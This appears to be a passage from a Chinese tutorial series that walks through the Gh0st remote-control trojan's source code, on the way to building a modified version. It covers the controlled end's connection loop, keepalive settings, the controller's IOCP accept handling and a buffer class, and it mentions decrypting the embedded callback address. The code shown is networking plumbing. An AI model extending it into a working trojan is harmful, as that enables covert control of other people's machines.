3:在CClientSocket::Connect中,连接主控端之前

   ResetEvent(m_hEvent);重置了该事件对象的受信状态为未受信。

4:在CClientSocket::Disconnect(),关闭到主控端的连接中

   SetEvent(m_hEvent);将该事件对象设置为受信状态

5:刚刚在连接循环中看到的dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);从以上几个调用的地方,我们可以得知,这个事件对象的作用就是监视被控端与主控端的一个连接状态的哨兵。

接下来是填充了一个通信数据包中使用的签名数据。

 

我们继续往下看这个连接主控端的无限循环。接下来,如果主控端主动卸载被控端的时候,将会使得上述讨论的hEvent=OpenEventEVENT_ALL_ACCESS, false, "BITS");返回非NULL的值,也就会使得socketClient.Disconnect();会被执行。我们看看这个函数的定义。

在前面一节课Gh0st通信协议解析(1)中,我们已经分析过关闭套接字的用法,在这里我们就回顾一下以前的分析:

设置 l_onoff为非0l_linger0,则套接口关闭时TCP夭折连接,TCP将丢弃保留在套接口发送缓冲区中的任何数据并发送一个RST给对方,而不是通常的四分组终止序列,这避免了TIME_WAIT状态。这样直接丢弃了所有在这个套接字上的所有的数据,不论是待发送的还是待接收的,都被丢弃。解决掉了套接字上残留的数据之后,接下来开始进行撤销在此套接字上悬而未决的操作,接着关闭掉这个套接字句柄,并且将这个套接字句柄的值设置为:INVALID_SOCKET

 

CancelIo:这个函数的讲解。

BOOL CancelIo(   HANDLE hFile  // file handle forwhich to cancel I/O );The CancelIofunction cancels all pending input and output(I/O) operations that were issued by the calling thread for the specified filehandle. The function does not cancel I/O operations issued for the file handleby other threads.

这个函数可以取消掉调用此函数的线程中的个句柄上阻塞的输入、输出操作。但是这个函数无法取消掉在其它的线程中的某个句柄上的输入、输出操作。

 

InterlockedExchange:这个函数我们以前没有详细讲解过。

LONGInterlockedExchange(                      LPLONG Target,                      LONGValue );

 

The InterlockedExchange function atomically exchanges a pair of 32-bitvalues. The function prevents more than one thread from using the same variablesimultaneously.

这个函数的执行是原子性的操作,也就是说它的执行是不可中断的。它执行的操作就是交换两个数据的值。这个函数阻止多个线程同时对这个数据进行引用。

 

接下是一个SetEventm_hEvent)操作,使得在CClientSocket的构造函数中创建的这个事件对象的处于受信状态,如此便可使得当初连接到主控端的那个无限循环中等待连接结束的小循环中的这一句调用dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);返回一个WAIT_OBJECT_0

 

我们继续看,连接到主控端的这个无限循环中部分代码。

在开始分析下面的代码前,我们需要明确一点gh0st的一个很优秀的功能就是,被控端可以不直接连接到主控端上,而是可以连接到代理服务器上,而在我们将要分析与制作的这款gh0st修改版上,我们不打算支持这个功能。因此,我们对代理这一块确实做了简约化处理。

 

我们简单的谈一下gh0st原版的一个查找主控端信息以及代理信息的一个过程,因为在我们的这个修改版本中并没有这个过程。

1:首先在执行文件的本模块中找到经过加密处理的上线字符串

2:然后对这个上线字符串进行一个解密

3:对解密后的字符串进行一个判断,或者是用域名上线,或者是得从网上获取上线的信息。

4:然后对获取到得上线信息进行一个信息提取,解析出上线主机IP/端口、代理IP/端口。

 

好了,我们继续看这个连接的过程。

首先调用的是一句:socketClient.setGlobalProxyOption();这个函数是有默认的参数的,如下:

void setGlobalProxyOption(int nProxyType = PROXY_NONE, LPCTSTRlpszProxyHost = NULL, UINT nProxyPort = 1080, LPCTSTR lpszUserName = NULL,LPCSTR lpszPassWord = NULL);

也就是说,如果按照我们的这种调用方是,那么我们默认是不使用代理服务器的。

我们看看这个函数的一个实现方式:

我们仅仅是大体看下这个函数的实现方式,其中的变量我们不去深究,因为在我们的程序中这些变量的存在意义不大。

 

接下来就是被控端向主控端进行连接的地方,主要是调用了CClientSocket::Connect这个函数:

连接之前,首先要执行CClientSocket::Disconnect这个函数,目的就是清除一下socket资源。这里面有个险中取胜的一个地方,在Disconnect函数中有一个对m_hEvent进行置信的操作,要知道在连接主控端的这个大循环中是不断的循环测试这个值的,如果这个值受信了则就退出这个连接循环,那客户端岂不是就掉线了?而问题的解决方案就在这里,在Connect这个函数中调用了Disconnect之后紧接着调用了ResetEvent这个函数,马上将m_hEvent设置为未受信的状态。

因为我们忽略了代理服务器,因此在这里所有对代理服务器的操作我们都可以忽略到,除了这些我们会发现,上面一段代码就是创建了一个用于连接的套接字,然后连接主控端。

连接到主控端之后,设置了该套接字的一个保活特性,关于这部分的内容我们在Gh0st通信协议分析(1)里有也有讲过,在这里我们再回顾一下这种使用方法:

设置了SIO_KEEPALIVE_VALS后,激活包由TCP STACK来负责。当网络连接断开后,TCP STACK并不主动告诉上层的应用程序,但是当下一次RECV或者SEND操作进行后,马上就会返回错误告诉上层这个连接已经断开了如果检测到断开的时候,在这个连接上有正在PENDINGIO操作,则马上会失败返回。

上面这句代码的含义是:每隔m_nKeepLiveTime的时间,开始向受控端发送激活包,重复发送五次,每次发送的时间间隔是10秒钟,如果在十秒钟之内都没能得到回复,则判定主控端已经掉线。对掉线后的处理,在这里我必须要说说:由于TCP STACK并不主动告诉上层的应用程序,只有当下一次发送数据,或者接收数据的时候才会被发现。

 

接下来就创建了一个无限循环的工作线程,这个工作线程的主要任务就是监听来自客户端的命令请求,关于这个线程的分析,我们稍后再表。

 

让我们话分两路,去看看当有被控端主动去连接到主控端的时候,主控端会有怎样的操作。

 

unsigned CIOCPServer::ListenThreadProc(LPVOID lParam)

{

    CIOCPServer* pThis = reinterpret_cast<CIOCPServer*>(lParam);

 

    WSANETWORKEVENTS events;

   

    while(1)

    {

        //

        // Wait for something to happen

        //

        if (WaitForSingleObject(pThis->m_hKillEvent, 100) == WAIT_OBJECT_0)

            break;

 

        DWORD dwRet;

        dwRet = WSAWaitForMultipleEvents(1,

                                     &pThis->m_hEvent,

                                     FALSE,

                                     100,

                                     FALSE);

 

        if (dwRet == WSA_WAIT_TIMEOUT)

            continue;

 

        //

        // Figure out what happened

        //

        int nRet = WSAEnumNetworkEvents(pThis->m_socListen,

                                 pThis->m_hEvent,

                                 &events);

       

        if (nRet == SOCKET_ERROR)

        {

            TRACE(_T("WSAEnumNetworkEvents error %ld\n"),WSAGetLastError());

            break;

        }

 

        // Handle Network events //

        // ACCEPT

        if (events.lNetworkEvents & FD_ACCEPT)

        {

            if (events.iErrorCode[FD_ACCEPT_BIT] == 0)

                pThis->OnAccept();

            else

            {

                TRACE(_T("Unknown network event error %ld\n"),WSAGetLastError());

                break;

            }

 

        }

 

    } // while....

 

    return 0; // Normal Thread Exit Code...

}

 

 

当有被控端连接到主控端的时候,在监听套接字上会有网络事件发生,因此阻塞在m_hEvent这个事件对象上的线程会被唤醒,接下来会详细判断出发生在监听套接字上的这个网络事件具体是否为FD_ACCEPT,因为我们在监听套接字上,只对这个网络事件感兴趣。如果确实为FD_ACCEPT这个网络事件的发生的话,那么就要调用CIOCPSserver::OnAccept这个函数,对到来的连接进行处理。

我们先来看看这一段接收所用到得API函数的功能进行一个简单的说明。

1reinterpret_castCIOCPServer* pThis =reinterpret_cast<CIOCPServer*>(lParam);

The reinterpret_cast operator allows any pointer to be converted into anyother pointer type, and it allows any integral type to be converted into anypointer type and vice versa. Misuse of the reinterpret_cast operator can easilybe unsafe. Unless the desired conversion is inherently low-level, you shoulduse one of the other cast operators.

这个操作符允许你将任意类型的指针转化成其它类型的指针,并且允许你将整形转换成任意类型的指针,反之亦然。错误的使用这个操作符可以轻易的使你的程序处于不安全的状态。2WaitForSingleObject

DWORDWaitForSingleObject(                        HANDLE hHandle,                        WORD dwMilliseconds );The WaitForSingleObject function returns when oneof the following occurs: The specified object is in the signaled state. Thetime-out interval elapses. 当以下两种情况发生的时候,这个函数会返回:指定的对象处于受信的状态。等待超时。3WSAWaitForMultipleEvents DWORDWSAWaitForMultipleEvents(                           WORD cEvents,   const WSAEVENT FAR*lphEvents,    BOOL fWaitAll,                                                DWORDdwTimeOUT,                                             BOOLfAlertable               )The WSAWaitForMultipleEvents function returns either when any one or whenall of the specified objects are in the signaled state, or when the time-outinterval elapses. 当所有指定的对象受信的时候或者只有一个对象受信的时候,又或者等待的时间超时的时候,这个函数才会返回。 4WSAEnumNetworkEventsint WSAEnumNetworkEvents(                       SOCKET s,                                                   WSAEVENThEventObject,                                      LPWSANETWORKEVENTS lpNetworkEvents  )The WindowsSocketsWSAEnumNetworkEventsfunction discovers occurrences of network events forthe indicated socket, clear internal network event records, and reset eventobjects (optional).这个函数会识别指定的socket上发生的网络事件,并且会清除内部的网络事件记录,还会重置事件对象。接下来,我们去CIOCPServer::OnAccept里去看看这个函数的实现原理。在这个函数里有个接收后续数据的引爆点——PostRecv

 

void CIOCPServer::OnAccept()

{

 

    SOCKADDR_IN SockAddr;

    SOCKET      clientSocket;

   

    int         nRet;

    int         nLen;

 

    if (m_bTimeToKill || m_bDisconnectAll)

        return;

 

    //

    // accept the new socket descriptor

    //

    nLen = sizeof(SOCKADDR_IN);

    clientSocket = accept(m_socListen,

                        (LPSOCKADDR)&SockAddr,

                        &nLen);

 

    if (clientSocket == SOCKET_ERROR)

    {

        nRet = WSAGetLastError();

        if (nRet != WSAEWOULDBLOCK)

        {

            //

            // Just log the error and return

            //

            TRACE(_T("accept() error\n"),WSAGetLastError());

            return;

        }

    }

 

    // Create the Client context to be associted with the completion port

    ClientContext* pContext = AllocateContext();

    // AllocateContext fail

    if (pContext == NULL)

        return;

 

    pContext->m_Socket = clientSocket;

 

    // Fix up In Buffer

    pContext->m_wsaInBuffer.buf = (char*)pContext->m_byInBuffer;

    pContext->m_wsaInBuffer.len = sizeof(pContext->m_byInBuffer);

 

   // Associate the new socket with a completion port.

    if (!AssociateSocketWithCompletionPort(clientSocket, m_hCompletionPort, (DWORD) pContext))

    {

        delete pContext;

        pContext = NULL;

 

        closesocket( clientSocket );

        closesocket( m_socListen );

        return;

    }

 

    // 关闭nagle算法,以免影响性能,因为控制时控制端要发送很多数据量很小的数据包,要求马上发送

    // 暂不关闭,实验得知能网络整体性能有很大影响

    const char chOpt = 1;

 

// int nErr =setsockopt(pContext->m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt,sizeof(char));

// if (nErr== -1)

// {

//      TRACE(_T("setsockopt()error\n"),WSAGetLastError());

//      return;

// }

 

    // Set KeepAlive 开启保活机制

    if (setsockopt(pContext->m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) != 0)

    {

        TRACE(_T("setsockopt() error\n"), WSAGetLastError());

    }

 

    // 设置超时详细信息

    MyTcpKeepAlive klive;

    klive.onoff = 1; // 启用保活

    klive.keepalivetime = m_nKeepLiveTime;

    klive.keepaliveinterval = 1000* 10; // 重试间隔为10 Resend if No-Reply

    WSAIoctl

        (

        pContext->m_Socket,

        SIO_KEEPALIVE_VALS,

        &klive,

        sizeof(MyTcpKeepAlive),

        NULL,

        0,

        (unsigned long *)&chOpt,

        0,

        NULL

        );

 

    CLock cs(m_cs, "OnAccept" );

    // Hold a reference to the context

    m_listContexts.AddTail(pContext);

 

 

    // Trigger first IO Completion Request

    // Otherwise the Worker thread will remain blocked waiting forGetQueuedCompletionStatus...

    // The first message that gets queued up is ClientIoInitializing - seeThreadPoolFunc and

    // IO_MESSAGE_HANDLER

 

 

    OVERLAPPEDPLUS  *pOverlap = new OVERLAPPEDPLUS(IOInitialize);

 

    BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);

   

    if ( (!bSuccess && GetLastError( ) != ERROR_IO_PENDING))

    {           

        RemoveStaleClient(pContext,TRUE);

        return;

    }

 

    m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT);

 

    // Post to WSARecv Next

    PostRecv(pContext);

}

 

对以上代码进行说明:首先,创建了一个与被控端进行通信的clientSocket,这个clientSocket是主控端与被控端进行信息交互的传输媒介。接下来是为了与被控端进行信息交互而创建了一个保存客户端数据的变量ClientContext* pContext = AllocateContext();我们看以下这个函数的实现:

ClientContext CIOCPServer::AllocateContext()

{

    ClientContext* pContext = NULL;

 

    CLock cs(CIOCPServer::m_cs, "AllocateContext");

 

    if (!m_listFreePool.IsEmpty())

    {

        pContext = m_listFreePool.RemoveHead();

    }

    else

    {

        pContext = new ClientContext;

    }

 

    ASSERT(pContext);

   

    if (pContext != NULL)

    {

 

        ZeroMemory(pContext, sizeof(ClientContext));

        pContext->m_bIsMainSocket = false;

        memset(pContext->m_Dialog, 0, sizeof(pContext->m_Dialog));

    }

    return pContext;

}

 首先是用临界区CLock cs(CIOCPServer::m_cs, "AllocateContext")锁住了这块代码,以使得这个线程独占的访问该代码。接着判断m_listFreePool这个链表里面是否还有元素存在,注意这个连表里的每一个元素都是一个指针,指向一个ClientContext结构。有的话直接从这个连表里摘取一个下来,否则的话需要从新申请一个ClientContext结构。我们对这个结构的成员变量进行一番说明。

 

 m_Socket:主控端用来记录与每个被控端进行通信的Socket m_WriteBuffer:这个变量的类型是CBuffer类,关于这个类型的定义如下所示,在这里我们也啰嗦一下,全面讲讲这个类的各个成员函数。

class CBuffer 

{

// Attributes

protected:

    PBYTE   m_pBase;

    PBYTE   m_pPtr;

    UINT    m_nSize;

 

 

// Methods

protected:

    UINT ReAllocateBuffer(UINT nRequestedSize);

    UINT DeAllocateBuffer(UINT nRequestedSize);

    UINT GetMemSize();

public:

    void ClearBuffer();

 

    UINT Delete(UINT nSize);

    UINT Read(PBYTE pData, UINT nSize);

    BOOL Write(PBYTE pData, UINT nSize);

    BOOL Write(CString& strData);

    UINT GetBufferLen();

    int Scan(PBYTE pScan,UINT nPos);

    BOOL Insert(PBYTE pData, UINT nSize);

    BOOL Insert(CString& strData);

 

    void Copy(CBuffer& buffer);

 

    PBYTE GetBuffer(UINT nPos=0);

 

    CBuffer();

    virtual ~CBuffer();

 

    void FileWrite(const CString& strFileName);

 

};

 首先呢,看看CBuffer这个类的三个成员变量 m_pBase:始终指向Buffer的一个起始位置。 m_pPtr:始终指向Buffer的一个结束位置。 m_nSize:始终反映当前这个缓冲区的大小。接下来看看这几个成员函数:构造函数

 析构函数

CBuffer::~CBuffer()

{

    if (m_pBase)

        VirtualFree(m_pBase,0,MEM_RELEASE);

}

 重新调整缓冲区的大小的函数(往大了去调整)

UINT CBuffer::ReAllocateBuffer(UINT nRequestedSize)

{

    if (nRequestedSize < GetMemSize())

        return 0;

 

    // Allocate new size

    UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;

 

    // New Copy Data Over

    PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);

 

    UINT nBufferLen = GetBufferLen();

    CopyMemory(pNewBuffer,m_pBase,nBufferLen);

 

    if (m_pBase)

        VirtualFree(m_pBase,0,MEM_RELEASE);

 

 

    // Hand over the pointer

    m_pBase = pNewBuffer;

 

    // Realign position pointer

    m_pPtr = m_pBase + nBufferLen;

 

    m_nSize = nNewSize;

 

    return m_nSize;

}

 

重新调整缓冲区的大小的函数(往小了去调整)

UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize)

{

    if (nRequestedSize < GetBufferLen())

        return 0;

 

    // Allocate new size

    UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;

 

    if (nNewSize < GetMemSize())

        return 0;

 

    // New Copy Data Over

    PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);

 

    UINT nBufferLen = GetBufferLen();

    CopyMemory(pNewBuffer,m_pBase,nBufferLen);

 

    VirtualFree(m_pBase,0,MEM_RELEASE);

 

    // Hand over the pointer

    m_pBase = pNewBuffer;

 

    // Realign position pointer

    m_pPtr = m_pBase + nBufferLen;

 

    m_nSize = nNewSize;

 

    return m_nSize;

}

  返回CBuffer对象一些参数信息。比如缓冲区的大小m_nSize,缓冲区中有效数据的擦长度。  在这里我们要注意,缓冲区的大小与缓冲区中存储的信息不是一个概念,我们看返回这俩个数据的函数。  返回缓冲区的大小

UINT CBuffer::GetMemSize()

{

    return m_nSize;

}

 

 返回有效数据的长度

UINT CBuffer::GetBufferLen()

{

    if (m_pBase == NULL)

        return 0;

 

    int nSize =

        m_pPtr - m_pBase;

    return nSize;

}

 往缓冲区中写数据

BOOL CBuffer::Write(PBYTE pData, UINT nSize)

{

    ReAllocateBuffer(nSize + GetBufferLen());

 

    CopyMemory(m_pPtr,pData,nSize);

 

    // Advance Pointer

    m_pPtr+=nSize;

 

    return nSize;

}

 从缓冲区中读取数据

UINT CBuffer::Read(PBYTE pData, UINT nSize)

{

    // Trying to byte off more than ya can chew - eh?

    if (nSize > GetMemSize())

        return 0;

 

    // all that we have

    if (nSize > GetBufferLen())

        nSize = GetBufferLen();

 

       

    if (nSize)

    {

        // Copy over required amount and its not up to us

        // to terminate the buffer - got that!!!

        CopyMemory(pData,m_pBase,nSize);

       

        // Slide the buffer back - like sinking the data

        MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);

 

        m_pPtr -= nSize;

    }

       

    DeAllocateBuffer(GetBufferLen());

 

    return nSize;

}

 往缓冲区首部插入数据

BOOL CBuffer::Insert(PBYTE pData, UINT nSize)

{

    ReAllocateBuffer(nSize + GetBufferLen());

 

    MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);

    CopyMemory(m_pBase,pData,nSize);

 

    // Advance Pointer

    m_pPtr+=nSize;

 

    return nSize;

}

 

 从缓冲区首部中删除数据

UINT CBuffer::Delete(UINT nSize)

{

    // Trying to byte off more than ya can chew - eh?

    if (nSize > GetMemSize())

        return 0;

 

    // all that we have

    if (nSize > GetBufferLen())

        nSize = GetBufferLen();

 

       

    if (nSize)

    {

        // Slide the buffer back - like sinking the data

        MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);

 

        m_pPtr -= nSize;

    }

       

    DeAllocateBuffer(GetBufferLen());

 

    return nSize;

}

 从指定的位置开始搜索字符串

int CBuffer::Scan(PBYTE pScan,UINT nPos)

{

    if (nPos > GetBufferLen() )

        return -1;

 

    PBYTE pStr = (PBYTE) strstr((char*)(m_pBase+nPos),(char*)pScan);

   

    int nOffset = 0;

 

    if (pStr)

        nOffset = (pStr - m_pBase) + strlen((char*)pScan);

 

    return nOffset;

}

 返回缓冲区中指定的位置处得字符串

PBYTE CBuffer::GetBuffer(UINT nPos)

{

    return m_pBase+nPos;

}

 清空缓冲区中的数据

void CBuffer::ClearBuffer()

{

    // Force the buffer to be empty

    m_pPtr = m_pBase;

 

    DeAllocateBuffer(1024);

}

 

 实际上并没有清空,这个缓冲区里还有1024个字节的空间。   下面是几种往缓冲区中增加数据的方式,包括以CString的方式,CBuffer的方式,File的方式。

 

 

 至此,这个CBuffer这个类的成员变量以及成员函数我们就看到这里。我们继续回到这个类——ClientContext CBuffer  m_WriteBuffer;           // 将要发送的数据 CBuffer  m_CompressionBuffer;      // 接收到的压缩的数据CBuffer  m_DeCompressionBuffer;    // 解压后的数据 CBuffer  m_ResendWriteBuffer;      // 上次发送的数据包,接收失败时重发时用 int     m_Dialog[2];             // 第一个int是类型,第二个是CDialog的地址int     m_nTransferProgress;      // 记录传输的速度 // Input Elements for Winsock WSABUF   m_wsaInBuffer;BYTE     m_byInBuffer[8192]; 以上两个值是给非阻塞函数WSARecv函数作为参数用的,具体的用法,看下面:*******************************************************************************pContext->m_wsaInBuffer.buf = (char*)pContext->m_byInBuffer;pContext->m_wsaInBuffer.len = sizeof(pContext->m_byInBuffer); UINTnRetVal =WSARecv(pContext->m_Socket,                       &pContext->m_wsaInBuffer,                       1,                       &dwNumberOfBytesRecvd,                      &ulFlags,                       &pOverlap->m_ol,                       NULL); 首先,将m_wsaInBuffer 这个变量的两个成员变量赋值为ClientContext里的成员变量m_byInBuffer。然后再WSARecv这个函数里会用到m_wsaInBuffer。在这里我们要第一次简单的初探主控端与被控端的交互过程:我打算从两个不同角度去简要的叙述一下主控端与被控端之间的交互过程。第一:数据的发送过程。 1:在CIOCPServer::Send函数中准备好待发送的数据。就是将需要发送的数据先存储在ClientContext::m_WriteBuffer这个缓冲区中,主控端主动向被控端发送的数据基本上都是一些命令数据,因此,没有将命令数据进行压缩传输。但是,在传输的过程中可能会引起数据丢失,需要备份将要发送的数据,因此,在ClientContext::m_ResendWriteBuffer中备份了这些命令数据。 2:准备好将要发送的数据之后,使用 OVERLAPPEDPLUS * pOverlap = newOVERLAPPEDPLUS(IOWrite);PostQueuedCompletionStatus(m_hCompletionPort,                          0,                          (DWORD)pContext,                         &pOverlap->m_ol); 向完成端口投递一个发送数据的请求,这个时候的数据并没有送出到网卡的数据缓冲区,当然也就没有被发送出去,这个时候的数据甚至都可能没有发送至TCP/IP协议栈的缓冲区中。 3:守候在完成端口上的工作线程会因为这里投递了一个发送数据的请求而被唤醒,这个时候BOOL bIORet =GetQueuedCompletionStatus(hCompletionPort,                                          &dwIoSize,                                          LPDWORD) &lpClientContext,                                           &lpOverlapped,INFINITE); 等待在此函数上的线程会被唤醒,这个函数会返回,并且在lpClientContext,会返回由PostQueuedCompletionStatus的参数pContext指向的内容地址。在lpOverlapped中会返回pOverlap这个变量的值。 PostQueuedCompletionStatus GetQueuedCompletionStatus 这两个函数的参数是一一对应的。 4:先前发送的投递请求最终是由CIOCPServer::ProcessIOMessage这个函数来完成的,关于这个函数的定义,不得不去看一组宏定义: enum IOType {IOInitialize, IORead, IOWrite, IOIdle }; #define BEGIN_IO_MSG_MAP() \ public: \Bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize =0)\ { \ bool bRet = false; #define IO_MESSAGE_HANDLER(msg, func) \ if (msg ==clientIO) \        bRet = func(pContext,dwSize);   #define END_IO_MSG_MAP() \ return bRet; \ } 接下来,我们需要看看使用这个宏的地方的定义: BEGIN_IO_MSG_MAP()         IO_MESSAGE_HANDLER(IORead,OnClientReading)        IO_MESSAGE_HANDLER(IOWrite,OnClientWriting)         IO_MESSAGE_HANDLER(IOInitialize, OnClientInitializing) END_IO_MSG_MAP() 对这组宏调用进行宏展开,展开之后的情形为: public: Bool ProcessIOMessage(IOType clientIO, ClientContext* pContext,DWORD dwSize = 0)\ { bool bRet = false; if (IORead == clientIO)\         bRet =OnClientReading(pContext, dwSize); if (IOWrite == clientIO)\        bRet = OnClientWriting(pContext,dwSize); if (IOInitialize == clientIO)\          bRet =OnClientInitializing(pContext, dwSize);      returnbRet; } 5:这样的话,我们所投递的发送数据的请求,就由OnClientWriting这个函数来处理了,这个函数的处理方式也比较简单。 pContext->m_wsaOutBuffer.buf =(char*) pContext->m_WriteBuffer.GetBuffer(); pContext->m_wsaOutBuffer.len= pContext->m_WriteBuffer.GetBufferLen(); int nRetVal =WSASend(pContext->m_Socket,                      &pContext->m_wsaOutBuffer,                      1,                      &pContext->m_wsaOutBuffer.len,                      ulFlags,                      &pOverlap->m_ol,                     NULL); 将含有待发送数据的缓冲区地址赋给我们使用WSASend函数的参数,然后将数据发送出去,这样就完成了整个数据的发送过程。而且这整个过程也都是由动作驱动的,有数据发送,则主动投递发送请求。第二:数据的接收过程首先说明一点,数据的接收的过程是由程序自身驱动的,我们必须自己先调用WSARecv函数,通知完成端口一旦在该套接字上有数据到达即调用为完成端口服务的线程中分发函数进行处理到来的数据。这一整个过程可以描述如下。 1:当有客户连接到来的时候,即调用 PostRecv(pContext); OVERLAPPEDPLUS * pOverlap = newOVERLAPPEDPLUS(IORead);ULONG                ulFlags = MSG_PARTIAL;DWORD                dwNumberOfBytesRecvd; UINT nRetVal =WSARecv(pContext->m_Socket,                     &pContext->m_wsaInBuffer,                      1,                      &dwNumberOfBytesRecvd,                      &ulFlags,                      &pOverlap->m_ol,                      NULL); 在这个函数中,调用WSARecv函数,并不是要接收数据,而是使得当在pContext->m_Socket这个Socket上有数据到来的时候,可以像完成端口投递一个IORead类型的读数据请求,当然这个IORead数据的读请求理所当然的由OnClientReadling这个函数来完成。 2:在OnclientReadling这个函数里完成,对数据的提取以及解压缩,在这里我们要注意一点,在函数WSARecv中要求数据到来的时候,填充到pContext->m_wsaInBuffer,这个缓冲区中,而这个缓冲区实际上是pContext->m_wsaInBuffer.buf = (char*)pContext->m_byInBuffer;pContext->m_wsaInBuffer.len = sizeof(pContext->m_byInBuffer); 这个缓冲区pContext->m_byInBuffer中会承载接收到得数据。然后对这个缓冲区中的数据进行一个解析,将数据先拷贝到m_CompressionBuffer这个缓冲区中,然后由这个缓冲区解压缩到m_DeCompressionBuffer这个缓冲区中,这样玩彻骨了一次数据的读取过程,接下来再次调用PostRecv这个函数,保证这个接收数据的操作始终是处于蓄势待发的状态,有数据到来,立马处理之。 // Output elements for Winsock WSABUF   m_wsaOutBuffer; 这个成员变量就是用来给WSASend作为函数参数来使用的,它的使用方式我们在上面也已经说过,在这里就不再赘述。 HANDLE   m_hWriteComplete; 这个变量在这里,我先临时定为无意义的一个变量,因为我确实没看到这个变量有被初始化。// Message counts... purely for example purposesLONG     m_nMsgIn; LONG     m_nMsgOut; 以上两个变量记录发送出去,或者接收到得数据包的个数。

BOOL     m_bIsMainSocket; // 是不是主socket

这两个变量并没有被启用。ClientContext*           m_pWriteContext;ClientContext*           m_pReadContext;   接下来,让我们回到CIOCPServer::AllocateContext这个函数,继续往下看这个函数里的实现:if (pContext != NULL) { ZeroMemory(pContext, sizeof(ClientContext));pContext->m_bIsMainSocket = false; memset(pContext->m_Dialog, 0,sizeof(pContext->m_Dialog)); } 对申请到得缓冲区进行一个清零,并且初始化几个成员变量的值。   继续回溯,回到CIOCPServer::OnAccept()这个函数,有剩余的代码需要分析pContext->m_Socket = clientSocket;pContext->m_wsaInBuffer.buf =(char*)pContext->m_byInBuffer;pContext->m_wsaInBuffer.len =sizeof(pContext->m_byInBuffer); 以上就是对新申请到得这个缓冲区的必要成员变量进行一个赋值操作,各个成员变量的含义我们在前面已经阐述过,这里不再赘述。 if (!AssociateSocketWithCompletionPort(clientSocket,                                       m_hCompletionPort,                                     (DWORD)pContext)) {    delete pContext;pContext = NULL; closesocket(clientSocket );    closesocket( m_socListen );   return; } 接下来,我们重点看看CIOCPServer::AssociateSocketWithCompletionPort这个函数的实现过程,这个函数的作用就是将主控端与被控端进行交互的套接字与完成端口关联起来,如此当在这些套接字上发生网络事件的时候,为完成端口工作的工作线程可以及时处理这些事件。

BOOL CIOCPServer::AssociateSocketWithCompletionPort(SOCKET socket, HANDLE hCompletionPort, DWORD dwCompletionKey)

{

    HANDLE h = CreateIoCompletionPort((HANDLE) socket, hCompletionPort, dwCompletionKey, 0);

    return h == hCompletionPort;

}

 关于CreateIoCompletionPort这个函数的具体使用方法,在前面的我们有提到,在这里我们再回顾一下:

The CreateIoCompletionPort function can associate an instance of an openedfile with a newly created or an existing input/output (I/O) completion port; orit can create an I/O completion port without associating it with a file

 

也就是说这个函数既可以将某个打开的“文件”句柄与新创建的或者已经存在的输入输出端口相关联起来,也可以仅仅创建一个完成端口而不与某个“文件”相关联。上图所示即是将主控端与被控端端进行通信的套接字句柄与先前创建的那个完成端口相关联。

 

我们继续看CIOCPServer::OnAccept()这个函数未解读的部分

void CIOCPServer::OnAccept()

{

 

    SOCKADDR_IN SockAddr;

    SOCKET      clientSocket;

   

    int         nRet;

    int         nLen;

 

    if (m_bTimeToKill || m_bDisconnectAll)

        return;

 

    //

    // accept the new socket descriptor

    //

    nLen = sizeof(SOCKADDR_IN);

    clientSocket = accept(m_socListen,

                        (LPSOCKADDR)&SockAddr,

                        &nLen);

 

    if (clientSocket == SOCKET_ERROR)

    {

        nRet = WSAGetLastError();

        if (nRet != WSAEWOULDBLOCK)

        {

            //

            // Just log the error and return

            //

            TRACE(_T("accept() error\n"),WSAGetLastError());

            return;

        }

    }

 

    // Create the Client context to be associted with the completion port

    ClientContext* pContext = AllocateContext();

    // AllocateContext fail

    if (pContext == NULL)

        return;

 

    pContext->m_Socket = clientSocket;

 

    // Fix up In Buffer

    pContext->m_wsaInBuffer.buf = (char*)pContext->m_byInBuffer;

    pContext->m_wsaInBuffer.len = sizeof(pContext->m_byInBuffer);

 

   // Associate the new socket with a completion port.

    if (!AssociateSocketWithCompletionPort(clientSocket, m_hCompletionPort, (DWORD) pContext))

    {

        delete pContext;

        pContext = NULL;

 

        closesocket( clientSocket );

        closesocket( m_socListen );

        return;

    }

 

    // 关闭nagle算法,以免影响性能,因为控制时控制端要发送很多数据量很小的数据包,要求马上发送

    // 暂不关闭,实验得知能网络整体性能有很大影响

    const char chOpt = 1;

 

// int nErr =setsockopt(pContext->m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt,sizeof(char));

// if (nErr== -1)

// {

//      TRACE(_T("setsockopt()error\n"),WSAGetLastError());

//      return;

// }

 

    // Set KeepAlive 开启保活机制

    if (setsockopt(pContext->m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) != 0)

    {

        TRACE(_T("setsockopt() error\n"), WSAGetLastError());

    }

 

    // 设置超时详细信息

    MyTcpKeepAlive klive;

    klive.onoff = 1; // 启用保活

    klive.keepalivetime = m_nKeepLiveTime;

    klive.keepaliveinterval = 1000* 10; // 重试间隔为10 Resend if No-Reply

    WSAIoctl

        (

        pContext->m_Socket,

        SIO_KEEPALIVE_VALS,

        &klive,

        sizeof(MyTcpKeepAlive),

        NULL,

        0,

        (unsigned long *)&chOpt,

        0,

        NULL

        );

 

    CLock cs(m_cs, "OnAccept" );

    // Hold a reference to the context

    m_listContexts.AddTail(pContext);

 

 

    // Trigger first IO Completion Request

    // Otherwise the Worker thread will remain blocked waiting forGetQueuedCompletionStatus...

    // The first message that gets queued up is ClientIoInitializing - seeThreadPoolFunc and

    // IO_MESSAGE_HANDLER

 

 

    OVERLAPPEDPLUS  *pOverlap = new OVERLAPPEDPLUS(IOInitialize);

 

